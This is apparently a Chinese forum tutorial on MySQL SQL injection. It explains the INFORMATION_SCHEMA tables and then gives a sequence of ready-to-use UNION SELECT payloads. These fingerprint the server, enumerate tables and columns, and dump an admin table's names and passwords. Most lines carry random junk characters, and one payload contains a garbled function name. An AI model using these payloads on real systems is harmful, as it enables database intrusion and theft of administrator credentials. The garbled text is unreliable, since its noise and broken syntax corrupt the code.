本文介绍MYSQL盲注的一些语句和方法& y& F( T0 f+ u4 v
" @! T x, O8 j- \! ~; f! H
学习盲注前先了解下 IFORMATION_SCHEMA 库
9 J1 c& r( B' Z! k1 c3 p$ n2 M8 R% m
' W7 V- G `2 c& tMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有, I3 r' ^: n S
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
+ I y* L5 k: A" ^7 f/ q1.得到所有数据库名:
7 K4 B8 V# K1 V0 S|SCHEMATA ->存储数据库名的表
' e* o }8 {$ C+ @5 H|---字段:SCHEMA_NAME ->数据库名称1 e' K, M8 W$ ~, J, ^8 `
4 w- m* e" S, Z2 n|TABLES ->存储表名
7 a4 B+ O% i$ ~4 w. T+ l|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
% L4 z/ I% B# X$ x|---字段:TABLE_NAME ->存储表的表名: k! L* Q7 x6 [, r
+ U2 g& u% U! x% E- n
|COLUMNS ->存储的字段名表
( ?! L4 O0 d1 ]9 h( U|---字段:TABLE_SCHEMA ->该字段所属数据库名# f; J$ ]+ @4 d
|---字段:TABLE_NAME ->存储所属表的名称
, g3 x- r" ~, Z, m L$ Q' ]* E2 [# ?5 }+ {# D2 o6 {/ q
|---字段:COLUMN_NAME ->该字段的名称
: e! \: B0 |5 K4 ] K+ l- X) ?
5 W4 ^ ~6 F' y # h E1 ~# Q2 l- a) B6 M
- J( p) L/ ]( u
###########################################################################. M0 H; E6 R" b, W, A
# w* q$ h4 f4 Q/ C4 ^- g0x001 获取系统信息:
+ W' o" y) K H: r9 s# s: ^. {4 w8 ^1 L0 |
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
9 S8 d$ E: _5 ~3 K' r
1 n( J1 N$ X6 T9 n5 @/*
2 E3 E! f, N$ E- z- L& Y- M: d- q" |6 Z: ~& l7 r3 C; w+ {1 K
@@global.version_compile_os 获取系统版本, ]! Q7 G8 A8 r f9 I( x. i0 `6 \4 [
+ u& w/ l# C" H
@@datadir 数据库路径
- {% \/ K' R6 H& l A9 ~) [" Qdatabase() 当前数据库名称; T3 t% Q7 I6 b" [8 \( f- B
0x3c62723e 换行HEX值
& Z! w9 |- o" a- P
( U4 B) {4 W6 P*/* D* f7 J$ [. [' n- {* I3 q
* H7 H' c0 k; ?2 {) B4 G 3 F. _$ F! f% d; N
1 q+ ]3 v. ]6 T5 J
######################################################################
) R( m7 d+ o2 a! j$ H% c. H! K" c* \9 r- v# B5 R
0x002 获取表名/ D3 ?- s: n3 T' _5 j1 K) v6 D
& M5 A) h: d' K+ u" P
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*1 |, L* S6 x: d- o- B0 h' I
6 m0 O1 B: N k S. \ ) T! y+ u0 b+ x! R
( e) M1 c7 e F6 X" c( d* j, I7 Q/*5 D/ |7 w% n7 r; t3 R
' F2 J2 |' }# o$ J9 D, ]( q2 E
0x67617264656e 为当前数据库名8 U. Y: @& F+ i5 n8 N. o* G
3 V6 E& e/ B2 F# m/ ?5 S
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
3 i& F) } Y2 r% P; a8 b
4 _- i. Y5 H2 I*/ g0 {, L4 O/ e, S" N, j' z
' t5 R% M- K/ b3 m6 X: a######################################################################) K! B$ y f# |/ b4 V1 i6 K
( i ^& a1 G1 d! m * ~8 n/ Z7 j S( c$ W1 L
: [, K3 d! h' A9 U# F0x003 获取字段
n) e* F1 g6 r5 N* v0 Z5 s& V Q+ d+ `" z! `
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*9 R( u: ?, n M8 N4 Y' f2 n T, B
# E! _. g& K# j: I0 n' F! Q
/*
% X7 k- ]3 j$ G7 F" B( F5 _2 Y( w) z- A' _# J
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
! m9 q7 R" g, n& o, h& Y$ {: d& H; \6 n# a1 {
0x61646d696e ->选择一个表
+ g9 Q8 I# B( j- K' g& g
/ E' `6 f* B2 ]0x67617264656e ->数据库名. N, f" A$ E7 T$ i9 ~" R5 A
% O8 M# G' h# E3 D( @
*/
. a1 ]6 Y% L2 }7 A4 F9 q6 P. J$ u# W0 b7 Q0 M3 i1 F2 i
#####################################################################
- }8 m' Q n9 p8 k7 \7 P7 w/ J# l& U3 l( [2 a; `' o& ^
! G; y5 B3 P+ H6 k; o9 |! u
6 I e# l! A6 o- ^1 K$ q
0x004 获取数据
2 z* U# P/ k/ h- H# _- W* K2 b0 b; u5 C
union select 1,2,3
" w6 ]' M' d9 i& |$ l,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
6 M6 k) A7 O. N2 K. ^7 }$ k7 M# V2 b! u$ p" ]; b# f$ h$ Z o
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
- u' h% w7 @- `- r, g. W$ W" V i1 `. k4 t
4 [( F- d8 H' K
; v: h! {# ^8 E; H7 V/*1 U& m: i; F8 H3 |) q
0 @! ` l. p1 a7 M2 U/ k2 ]
0x3c62723e 换行符号HEX编码7 d. @( c$ A9 [: C8 l0 x
) ]1 O& `5 z4 x' Sgroup_concat 同时获得该字段所有数据
3 j0 f8 V. n9 }: w3 U/ P1 G& [, U* a- F" w/ Z2 W, O0 Y
*/
5 k3 y4 O$ N1 D$ {5 e& f' n* ~; Y5 Q* l5 a
|